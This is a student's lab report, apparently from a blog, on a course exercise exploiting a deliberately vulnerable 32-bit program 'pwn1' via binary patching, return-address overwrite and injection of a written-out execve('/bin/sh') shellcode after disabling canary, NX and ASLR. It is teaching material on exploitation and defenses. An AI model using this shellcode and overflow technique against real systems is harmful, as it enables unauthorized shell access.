20242327 2026-2027-1 《网络与系统攻防技术》实验一实验报告
20242327 2026-2027-1 《网络与系统攻防技术》实验一实验报告
1. 基础知识
本次实验涉及以下基础概念与技能:
(1)Linux 基本操作
-
管道 |:把前一个命令的输出作为后一个命令的输入。
例如 (cat input; cat) | ./pwn1,将 payload 文件内容传递给 pwn1 程序。
-
输入重定向 <:把文件内容作为程序输入,如 ./pwn1 < input。
-
输出重定向 >:把命令输出写入文件,如 perl -e '...' > input。
-
xxd:在任务一种将十六进制查看/转换文件内容。
-
perl -e:在命令行直接执行 Perl 代码,用 "\xNN" 表示一个字节,用于生成含二进制字节的 payload 文件。
(2)ELF 文件格式
本次实验对象 pwn1 为 ELF 可执行文件。用 file pwn1 查看,输出中的 32-bit 表明这是一个 32 位程序,LSB 表明采用小端字节序。
ELF 文件中 .text 段存放代码,objdump -d 命令可以把 .text 段的机器码反汇编成汇编指令,输出包括指令地址、机器码、汇编指令三列。依靠 objdump -d,从而定位 getShell 的入口地址(0x0804847d)以及 main 中 call foo 指令的机器码(e8 d7 ff ff ff)和它下一条指令的地址(0x080484ba),为任务一修改机器指令提供了依据。
+----------------------------------+
| ELF Header(魔数 7f 45 4c 46…) | ← readelf -h
+----------------------------------+
| Program Header Table(可选) | ← 加载器视角
+----------------------------------+
| Section Header Table(必须) | ← 链接器视角
+----------------------------------+
| 真正数据: |
| .text 代码(只读,可执行) |
| .rodata 只读数据(字符串常量) |
| .data 已初始化全局/静态变量 |
| .bss 未初始化全局/静态变量 |(文件里不占空间,运行时才分配)
| … |
+----------------------------------+
(3)汇编与机器指令
汇编指令:push、pop、mov、call、ret、leave 等,与机器码一一对应。
机器指令:CPU 真正执行的二进制字节。例如 call 指令机器码为 e8 + 4 字节相对偏移(小端)。
EIP(指令指针):保存下一条要执行的指令地址。
指令地址:每条指令在内存中的位置。32 位无 PIE 的 ELF 通常从 0x08048xxx 开始。
(4)Call 指令与偏移计算
call 使用相对偏移寻址:即目标地址 = call 下一条指令的地址(EIP)+ 4 字节补码偏移
例:0x80484ba + (-0x29) = 0x8048491(foo 地址)。想改成调用 getShell,只需把偏移改成 getShell - 下一条指令地址 的补码。
(5)栈与缓冲区溢出(BOF)原理
32 位函数栈帧结构(从低地址到高地址)为:buf[大小] → 保存的旧 EBP → 返回地址
函数返回时执行 ret:从栈顶取出返回地址赋给 EIP,程序跳过去。
若程序使用 gets 等不检查长度的函数,输入超长字符串即可覆盖返回地址,从而劫持执行流,这就是 BOF(Buffer Overflow)。
其中,小端字节序:写入栈的 4 字节地址在内存中要低字节在前,如 0x0804847d 写成 \x7d\x84\x04\x08。
(6)Shellcode 与三种攻击布局
Shellcode:一段用于注入的机器指令,常见功能为执行 execve("/bin/sh") 获取 shell。
N S R 布局:nop + shellcode + retaddr,shellcode 在返回地址前面。
R N S 布局:anything + retaddr + nop + shellcode,shellcode 在返回地址后面,可避免 push 覆盖未执行指令的问题(本实验采用)。
(7)BOF 防御技术
BOF 防御机制与本实验绕过方式
| 防御机制 | 原理 | 本实验处理方式 |
|---|---|---|
| Stack Canary | 编译器在 buf 和返回地址之间放一个随机值,函数返回前检查是否被改,被改则判定发生溢出并终止程序 | 编译时未开启(-fno-stack-protector),栈上无 canary,可随意溢出 |
| DEP / NX | 通过 CPU 页表机制把栈内存标记为不可执行 | 用 execstack -s pwn1 将栈设置为可执行 |
| ASLR | 操作系统每次加载程序时随机化代码段、栈、堆的地址 | 将 /proc/sys/kernel/randomize_va_space 设为 0,关闭地址随机化 |
2. 实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下该代码不会被运行。本实验通过两种方法运行这个代码片段并尝试注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
3. 实验过程
3.1 环境准备
-
虚拟机:VMware + Kali(64 位,
x86_64) -
主机名按要求设置为本人姓名拼音:
liangruili -
通过复制粘贴把
pwn1传入 Kali 桌面

试运行:

3.2 任务一:修改机器指令,调用 getShell
(1)反汇编,定位目标


得到关键信息:
-
getShell入口地址:0x0804847d -
main中call foo指令:-
call 机器码:
e8 d7 ff ff ff -
下一条指令地址:
0x080484ba -
相对偏移
d7ffffff=-0x29(补码)
-
(2)计算新偏移
要把 call 目标从 foo(0x8048491) 改为 getShell(0x804847d):
新偏移 = getShell - 下一条指令地址
= 0x804847d - 0x80484ba
= -0x3d
= 0xffffffc3(补码)
小端 = c3 ff ff ff
所以新机器码为:e8 c3 ff ff ff。
(3)用 vi + xxd 修改文件
在 vi 中:
-
ESC -
:%!xxd切换十六进制 -
/e8d7搜索,定位到000004b0行: -
更改e8为c3
-
:%!xxd -r转回二进制 -
:wq保存退出


(4)验证

如上图call机器码变为e8 c3 ff ff ff,call 指令是否已正确调用 getShell,说明修改成功。
id、ls 均可执行。

3.3 任务二:BOF 覆盖返回地址,调用 getShell
(1)查看 foo 的栈布局

关键行:
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax ← buf 起始 = ebp - 0x1c
804849d: e8 8e fe ff ff call 8048330 <gets@plt >
80484ae: c3 ret
-
buf 大小 =
0x1c= 28 字节 -
从 buf 到返回地址 = 28 + 4(旧 ebp)= 32 字节
(2)用 gdb 验证偏移

输入 40 个字符:1111111122222222333333334444444412345678,程序 SIGSEGV 后:
输出
eip 0x34333231 ← " 1234"
ebp 0x34343434 ← "4444"
说明:
-
第 29~32 字节(
4444)→ 覆盖旧 ebp -
第 33~36 字节(
1234)→ 覆盖返回地址(EIP) -
即偏移 = 32 字节
(3)构造 payload
返回地址 = getShell = 0x0804847d,小端 = \x7d\x84\x04\x08

输出:
00000000: 4141 ... (32 字节 'A')
00000020: 7d84 0408 0a
与预期一致
(4)注入,拿 shell

如上图,id 输出 uid=1000(kali) ...,说明跳转成功。
3.4 任务三:注入 shellcode 并执行
(1)关闭防护

(2)准备 shellcode
25 字节 execve("/bin/sh"):
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
(3)RNS 布局探测 shellcode 地址
先生成占位 payload(返回地址为\x01\x02\x03\x04):

终端 A:

程序停在 gets 等输入(因为结尾未加 \x0a)。
终端 B:

如上图,PID为43726

gdb 内:

完成后回终端 A 按回车,gdb 停在断点。查看:

如上图,栈上 01 02 03 04 后紧跟 90 90 90 90 90 90 + shellcode。
因此 shellcode 起始地址 = esp + 4 = 0xffffcf60。
(4)构造最终 payload

布局为:
[ 'A'×32 ][ 60 cf ff ff ][ 90×6 ][ shellcode ]
(5)注入,执行 shellcode

4. 问题及解决方案
-
问题 1:执行
sudo hostnamectl set-hostname时,输入 sudo 密码报Sorry, try again。问题 1 解决方案:sudo 密码即 Kali 登录密码,我一开始不知道。正确输入后命令执行成功,主机名修改完成。
-
问题 2:
execstack在 Kali 源里报Unable to locate package。 -
![]()
-
问题 2 解决方案:手动下载
.deb安装包安装:![]()
-
问题 3:执行
sudo apt install gdb安装 gdb 时,提示Package 'gdb' has no installation candidate,无法安装。![]()
问题 3 解决方案:这是软件源列表未更新导致的。先执行
sudo apt update更新源,再重新安装:![]()
-
问题 4:
vi中/e8d7搜索不到目标字节。 -
![]()
-
问题 4 解决方案:xxd 视图中每 2 个字节间可能有空格分隔,改用更短的
/e8搜索,或按已知文件偏移用:goto 偏移跳转,或先xxd pwn1 | grep "e8"在终端定位偏移。 -
问题 5:任务三中用 gdb attach 正在运行的 pwn1 进程时,执行 disassemble foo 报 No symbol table is loaded;且之前 attach 了一个不存在的 PID(输错了),报 ptrace: No such process。
![]()
问题 5 解决方案:
PID 看错:ps -ef | grep pwn1 会输出两行,一行是 pwn1 进程本身,一行是 grep 命令自己。要取命令列显示 ./pwn1 的那一行的 PID(左侧小数字),不要取 grep 那一行。
修改后可正常显示:
![]()
![]()
5. 学习感悟、思考等
通过本次实验,我完整地实践了三种逐层递进的攻击方式,对二进制漏洞利用有了比较直观的理解:
(1)从"改文件"到"发输入"的攻击演进
任务一只需改一个字节(d7 → c3)就改变了程序执行流程,让我体会到可执行文件里机器指令与汇编的严格对应关系;
任务二仅靠构造输入覆盖返回地址就劫持了执行流;
任务三进一步把任意机器码注入栈上并执行,攻击能力最强。
(2)防护机制的对比
实验中我关掉了三道防护,从而攻击成功,分别如下:
-
Canary:防止输入溢出到栈上的关键位置;
-
NX/DEP:即使注入成功也不让栈上的代码执行;
-
ASLR:让预先获得的地址失效。
这三道防线只要有一道开启,本实验的攻击就会失败。
在具体实验过程中,由于缺乏耐心,任务一第一次复制pwn并更改文件时,对文件造成不可逆破坏于是我又复制了一个,这提醒我慢慢来才会比较快。
任务三中,在NSR布局中,shellcode 放在返回地址前面(NSR 布局)会因 push 使栈顶向低地址增长、覆盖尚未执行的指令而失败;而RNS布局把 shellcode 放在返回地址后面,为了避免“掉入坑”,采用 RNS 布局。
我明白了三个任务本质完成同一件事,即让程序下一步跳去攻击者想要的地方。









浙公网安备 33010602011771号